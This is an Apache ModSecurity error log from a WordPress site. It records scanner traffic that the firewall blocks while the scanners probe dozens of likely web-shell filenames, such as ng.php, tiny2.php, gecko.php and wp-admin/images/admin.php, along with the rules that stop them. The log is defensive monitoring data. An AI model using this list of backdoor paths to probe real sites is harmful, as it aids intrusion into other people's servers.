[Sat Apr 18 05:38:03.657120 2026] [:error] [pid 9865:tid 9942] [client 4.235.105.111:36700] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aeKoO6zb5knECIY-C-if5wAAAIU"]
[Sat Apr 18 06:18:46.200292 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:18118] [client 20.203.143.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aeKxxiYdRLRhVmaIMx3XvAAAAMc"]
[Sat Apr 18 06:18:48.225054 2026] [:error] [pid 9863:tid 9894] [client 20.203.143.130:18123] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeKxyDjjiypiFrTucbIVTAAAABU"]
[Sat Apr 18 06:18:49.157598 2026] [:error] [pid 13023:tid 13046] [client 20.203.143.130:18139] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeKxyf1e7hG8DAeABB_7rAAAARU"]
[Sat Apr 18 06:18:49.991841 2026] [:error] [pid 9864:tid 9922] [client 20.203.143.130:18125] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeKxyYCFeowknfXHM7k-QwAAAFA"]
[Sat Apr 18 06:18:51.280038 2026] [:error] [pid 9970:tid 9987] [client 20.203.143.130:18119] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "aeKxyyYdRLRhVmaIMx3XywAAAM0"]
[Sat Apr 18 06:18:52.357320 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:18164] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeKxzP1e7hG8DAeABB_7rwAAARc"]
[Sat Apr 18 06:18:54.077563 2026] [:error] [pid 9864:tid 9919] [client 20.203.143.130:18163] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeKxzoCFeowknfXHM7k-RQAAAE0"]
[Sat Apr 18 06:18:54.911708 2026] [:error] [pid 9865:tid 9958] [client 20.203.143.130:18121] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeKxzqzb5knECIY-C-i0BQAAAJU"]
[Sat Apr 18 06:18:55.870546 2026] [:error] [pid 13023:tid 13045] [client 20.203.143.130:18147] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "aeKxz_1e7hG8DAeABB_7tgAAARQ"]
[Sat Apr 18 06:18:56.991966 2026] [:error] [pid 9863:tid 9881] [client 20.203.143.130:18173] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeKx0DjjiypiFrTucbIVXgAAAAg"]
[Sat Apr 18 06:18:58.219747 2026] [:error] [pid 9863:tid 9895] [client 20.203.143.130:18132] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeKx0jjjiypiFrTucbIVZQAAABY"]
[Sat Apr 18 06:19:00.466545 2026] [:error] [pid 9970:tid 9975] [client 20.203.143.130:6082] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeKx1CYdRLRhVmaIMx3X4AAAAME"]
[Sat Apr 18 06:19:05.769209 2026] [:error] [pid 9865:tid 9938] [client 20.203.143.130:18122] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/state.php"] [unique_id "aeKx2azb5knECIY-C-i0EwAAAIE"]
[Sat Apr 18 06:19:07.240374 2026] [:error] [pid 9863:tid 9880] [client 20.203.143.130:6099] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeKx2zjjiypiFrTucbIVcQAAAAc"]
[Sat Apr 18 06:19:08.379270 2026] [:error] [pid 9864:tid 9926] [client 20.203.143.130:18149] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeKx3ICFeowknfXHM7k-SQAAAFQ"]
[Sat Apr 18 06:19:09.881136 2026] [:error] [pid 9864:tid 9914] [client 20.203.143.130:18113] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeKx3YCFeowknfXHM7k-TgAAAEg"]
[Sat Apr 18 06:19:11.530898 2026] [:error] [pid 13023:tid 13042] [client 20.203.143.130:18134] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/2.php"] [unique_id "aeKx3_1e7hG8DAeABB_74AAAARE"]
[Sat Apr 18 06:19:13.250437 2026] [:error] [pid 13023:tid 13037] [client 20.203.143.130:6048] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeKx4f1e7hG8DAeABB_76wAAAQw"]
[Sat Apr 18 06:19:14.322692 2026] [:error] [pid 9970:tid 9991] [client 20.203.143.130:18135] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeKx4iYdRLRhVmaIMx3X8wAAANE"]
[Sat Apr 18 06:19:15.315303 2026] [:error] [pid 9970:tid 9981] [client 20.203.143.130:18146] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeKx4yYdRLRhVmaIMx3X9gAAAMc"]
[Sat Apr 18 06:19:16.321501 2026] [:error] [pid 13023:tid 13048] [client 20.203.143.130:18160] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "aeKx5P1e7hG8DAeABB_78gAAARc"]
[Sat Apr 18 06:19:17.232571 2026] [:error] [pid 9970:tid 9992] [client 20.203.143.130:6087] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeKx5SYdRLRhVmaIMx3X_AAAANI"]
[Sat Apr 18 06:19:17.831105 2026] [:error] [pid 9864:tid 9906] [client 20.203.143.130:18120] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeKx5YCFeowknfXHM7k-UgAAAEE"]
[Sat Apr 18 06:19:18.589932 2026] [:error] [pid 13023:tid 13031] [client 20.203.143.130:18172] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeKx5v1e7hG8DAeABB_7-QAAAQY"]
[Sat Apr 18 06:19:19.857492 2026] [:error] [pid 9970:tid 9979] [client 20.203.143.130:18137] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aeKx5yYdRLRhVmaIMx3YAAAAAMU"]
[Sat Apr 18 06:19:20.790995 2026] [:error] [pid 13023:tid 13043] [client 20.203.143.130:18124] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeKx6P1e7hG8DAeABB_7_QAAARI"]
[Sat Apr 18 06:19:21.603937 2026] [:error] [pid 9970:tid 9992] [client 20.203.143.130:6091] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeKx6SYdRLRhVmaIMx3YCAAAANI"]
[Sat Apr 18 06:19:22.406488 2026] [:error] [pid 9863:tid 9897] [client 20.203.143.130:6129] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeKx6jjjiypiFrTucbIVeQAAABg"]
[Sat Apr 18 06:19:23.082249 2026] [:error] [pid 13023:tid 13026] [client 20.203.143.130:18115] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "aeKx6_1e7hG8DAeABB_8BQAAAQE"]
[Sat Apr 18 06:19:23.666612 2026] [:error] [pid 9970:tid 9978] [client 20.203.143.130:18140] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeKx6yYdRLRhVmaIMx3YDAAAAMQ"]
[Sat Apr 18 06:19:24.211058 2026] [:error] [pid 13023:tid 13039] [client 20.203.143.130:18144] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeKx7P1e7hG8DAeABB_8BwAAAQ4"]
[Sat Apr 18 06:19:24.825180 2026] [:error] [pid 9863:tid 9880] [client 20.203.143.130:18126] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeKx7DjjiypiFrTucbIVfwAAAAc"]
[Sat Apr 18 06:19:25.451671 2026] [:error] [pid 9864:tid 9912] [client 20.203.143.130:6084] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "aeKx7YCFeowknfXHM7k-WAAAAEY"]
[Sat Apr 18 06:19:26.032414 2026] [:error] [pid 13023:tid 13047] [client 20.203.143.130:18169] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aeKx7v1e7hG8DAeABB_8CQAAARY"]
[Sat Apr 18 06:19:26.574711 2026] [:error] [pid 9865:tid 9960] [client 20.203.143.130:18152] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aeKx7qzb5knECIY-C-i0JgAAAJc"]
[Sat Apr 18 06:19:27.136852 2026] [:error] [pid 9865:tid 9952] [client 20.203.143.130:6119] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aeKx76zb5knECIY-C-i0JwAAAI8"]
[Sat Apr 18 06:19:27.714719 2026] [:error] [pid 13023:tid 13033] [client 20.203.143.130:6097] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "aeKx7_1e7hG8DAeABB_8CwAAAQg"]
[Sat Apr 18 06:19:28.203439 2026] [:error] [pid 13023:tid 13032] [client 20.203.143.130:18151] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKx8P1e7hG8DAeABB_8DQAAAQc"]
[Sat Apr 18 06:19:28.742023 2026] [:error] [pid 13023:tid 13029] [client 20.203.143.130:18143] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKx8P1e7hG8DAeABB_8EQAAAQQ"]
[Sat Apr 18 06:19:29.505154 2026] [:error] [pid 13023:tid 13028] [client 20.203.143.130:18155] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKx8f1e7hG8DAeABB_8FgAAAQM"]
[Sat Apr 18 06:19:30.156603 2026] [:error] [pid 9865:tid 9943] [client 20.203.143.130:6125] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/7.php"] [unique_id "aeKx8qzb5knECIY-C-i0LgAAAIY"]
[Sat Apr 18 06:19:30.671074 2026] [:error] [pid 9865:tid 9951] [client 20.203.143.130:18174] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKx8qzb5knECIY-C-i0MAAAAI4"]
[Sat Apr 18 06:19:31.507139 2026] [:error] [pid 9865:tid 9948] [client 20.203.143.130:18148] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKx86zb5knECIY-C-i0MwAAAIs"]
[Sat Apr 18 06:19:32.115714 2026] [:error] [pid 9865:tid 9961] [client 20.203.143.130:18141] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKx9Kzb5knECIY-C-i0NgAAAJg"]
[Sat Apr 18 06:19:32.687723 2026] [:error] [pid 9970:tid 9976] [client 20.203.143.130:18175] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aeKx9CYdRLRhVmaIMx3YGQAAAMI"]
[Sat Apr 18 06:19:33.193964 2026] [:error] [pid 9970:tid 9989] [client 20.203.143.130:6100] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKx9SYdRLRhVmaIMx3YGgAAAM8"]
[Sat Apr 18 06:19:33.701310 2026] [:error] [pid 9970:tid 9983] [client 20.203.143.130:18150] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKx9SYdRLRhVmaIMx3YGwAAAMk"]
[Sat Apr 18 06:19:34.350269 2026] [:error] [pid 9864:tid 9930] [client 20.203.143.130:6089] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKx9oCFeowknfXHM7k-XgAAAFg"]
[Sat Apr 18 06:19:34.946940 2026] [:error] [pid 9864:tid 9906] [client 20.203.143.130:18170] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/config.php"] [unique_id "aeKx9oCFeowknfXHM7k-YQAAAEE"]
[Sat Apr 18 06:19:35.612318 2026] [:error] [pid 13023:tid 13034] [client 20.203.143.130:6118] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aeKx9_1e7hG8DAeABB_8IQAAAQk"]
[Sat Apr 18 06:19:36.133052 2026] [:error] [pid 9970:tid 9987] [client 20.203.143.130:6093] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aeKx-CYdRLRhVmaIMx3YIQAAAM0"]
[Sat Apr 18 06:19:36.694894 2026] [:error] [pid 9865:tid 9951] [client 20.203.143.130:18162] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aeKx-Kzb5knECIY-C-i0QAAAAI4"]
[Sat Apr 18 06:19:37.420345 2026] [:error] [pid 13023:tid 13027] [client 20.203.143.130:6094] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gecko.php"] [unique_id "aeKx-f1e7hG8DAeABB_8IgAAAQI"]
[Sat Apr 18 06:19:37.989543 2026] [:error] [pid 13023:tid 13037] [client 20.203.143.130:6136] [client 20.203.143.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tiny"] [unique_id "aeKx-f1e7hG8DAeABB_8JQAAAQw"]
